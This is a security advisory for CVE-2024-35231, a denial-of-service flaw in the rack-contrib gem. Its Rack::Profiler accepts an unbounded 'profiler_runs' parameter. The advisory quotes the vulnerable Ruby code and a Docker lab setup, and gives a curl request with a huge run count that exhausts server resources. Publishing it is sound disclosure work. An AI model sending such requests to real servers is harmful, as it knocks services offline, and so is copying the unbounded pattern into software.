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Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

High
mpalmer published GHSA-8c8q-2xw3-j869 May 24, 2024

Package

bundler rack-contrib (RubyGems)

Affected versions

<= 2.4

Patched versions

2.5.0

Description

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

  • Potential denial of service by remotely user-controlled data.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

CVE ID

CVE-2024-35231

Weaknesses

Credits